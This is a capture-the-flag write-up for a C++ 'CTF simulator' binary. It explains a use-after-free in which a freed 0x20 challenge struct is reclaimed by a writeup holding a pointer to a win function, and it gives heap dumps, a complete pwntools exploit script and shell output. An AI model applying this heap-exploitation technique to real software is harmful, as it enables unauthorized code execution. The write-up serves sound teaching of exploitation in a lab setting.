# Original writeup [here](https://hackappatoi.github.io/ctf-sim/)
This is the output of checksec over the ELF of this challenge.
```RELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)```
This is a c++ challenges. There are a use after free bug in this challenge.
This program is a CTF simulator, you can download challenges, solve a challenge and submit  writeup for the challenges. The challenges are all struct that contain a function. Here an example of one challenge struct:
```cstruct pwn : challenges {    void solve() override {        cout << "You solved a pwn challenge by keysmashing and being lucky!" << endl;     }};```
When we download a challenge the prigram ask us where to save it
```c
challenges* downloaded [4];
void downloadChallenge() {    int choice;    int index;
    while (true) {        cout << "DOWNLOAD A CHALLENGE" << endl;        cout << "Choose a category" << endl;        ...        cout << "3. Pwn" << endl;	...        cout << "> ";        cin >> choice;
        cout << "Choose an index to save your challenge to (0-3)" << endl;        cout << "> ";        cin >> index;         if ((choice >= 1 && choice <=5) && (index >= 0 && index <= 3)) {            break;        }        else {            cout << "Invalid category or index" << endl;        }    }
    if (choice == 1) ...     else if (choice == 3) {        downloaded[index] = new pwn;    }    ...
}```
When we choose to dwnload a challenge a new struct is allocated and then its pointer is stored inside the array challenges* downloaded at the indexthat we choose.
```cvoid solveChallenge() {    int index;    while (true) {        cout << "SOLVE A CHALLENGE" << endl;        cout << "Choose one of your downloaded challenges (0-3)" << endl;        cout << "> ";        cin >> index;
        if (index >= 0 && index <= 3) {            break;        }    }
    downloaded[index] -> solve();    delete downloaded[index];
}```But when we solve a challenge we execute the function solve of the struct than we free the allocate area of the struct, but the pointer remain into the downloaded[index] array.
In this case this allow us to reuse the same chunk by requesting a chunk of the same size and by how the malloc work it will return the same chunk of the struct allocated before. This because since the chunk is of size 0x20 it remain into the fastbins of the heap and when we request a chunk of the same size it will return the same chunk insted to allocate another.
In the binary is present also a win function that will spawn a shell for us. 
```cvoid win() {    system("/bin/sh");}
void* win_addr = (void*) &wi;;```
We can force the binary to call this function by submitting a writeup of size 0x20 after we download and solve a challenge, and as text of the writeup we need to insert a fake structure this because in the downloaded[index] there is the pointer to the chunk of this writeup and if we place a pointer to the win function in the first 8 byte of the writeup when the program will call ```downloaded[index] -> solve();``` it will execute the function that is pointed by the pointer in the first 8 byte of the chunk.
```text0x4176c0	0x0000000000000000	0x0000000000000021	........!.......0x4176d0	0x0000000000403d08	0x0000000000000000	.=@.............0x4176e0	0x0000000000000000	0x000000000000e921	........!.......	 <-- Top chunk```This is the chunk and we can see he pointer to solve function 0x0000000000403d08, after we solve this challenge the heap will be arranged like this
```text0x4176c0	0x0000000000000000	0x0000000000000021	........!.......0x4176d0	0x0000000000000417	0xfe9219cb7d3538b5	.........85}....	 <-- tcachebins[0x20][0/1]0x4176e0	0x0000000000000000	0x000000000000e921	........!.......	 <-- Top chunk```
and when we want to submit a writeup the heap will be like this
```textSUBMIT A WRITEUPHow long is your writeup?> 24Enter your writeup> AAAAAAAA
0x4176c0	0x0000000000000000	0x0000000000000021	........!.......0x4176d0	0x4141414141414141	0x000000000000000a	AAAAAAAA........0x4176e0	0x0000000000000000	0x000000000000e921	........!.......```so if we insert the win function pointer in the first 8 bytes of a writeup of size 0x20 when we solve again the challenge will execute the win function this because the pointer tothis chunk in the ```challenges* downloaded [4];``` array was never nulled.
This if the final solve script.
```pythonfrom pwn import *from pprint import pprint
context.binary = elf = ELF('./ctf_sim')p = remote("tamuctf.com", 443, ssl=True, sni="ctf-sim")
#p = elf.process()#gdb.attach(p)
def download():	p.sendlineafter(b'> ', b'1')	p.sendlineafter(b'> ', b'3')	p.sendlineafter(b'> ', b'0')
def solve():	p.sendlineafter(b'> ', b'2')	p.sendlineafter(b'> ', b'0')
def writeup():	p.sendlineafter(b'> ', b'3')	p.sendlineafter(b'> ', b'24')	chunk_fake = p64(elf.sym.win_addr)+p64(0)	p.sendlineafter(b'> ', chunk_fake)	
download()solve()writeup()solve()
p.interactive()```
and this is the output
```texteurus@node-01-00:~/Scaricati/ctf_sim$ python3 solver-template.py [*] '/home/eurus/Scaricati/ctf_sim/ctf_sim'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to tamuctf.com on port 443: Done[*] Switching to interactive mode$ lsctf_simdocker_entrypoint.shflag.txt$ cat flag.txtgigem{h34pl355_1n_53477l3}$  ```
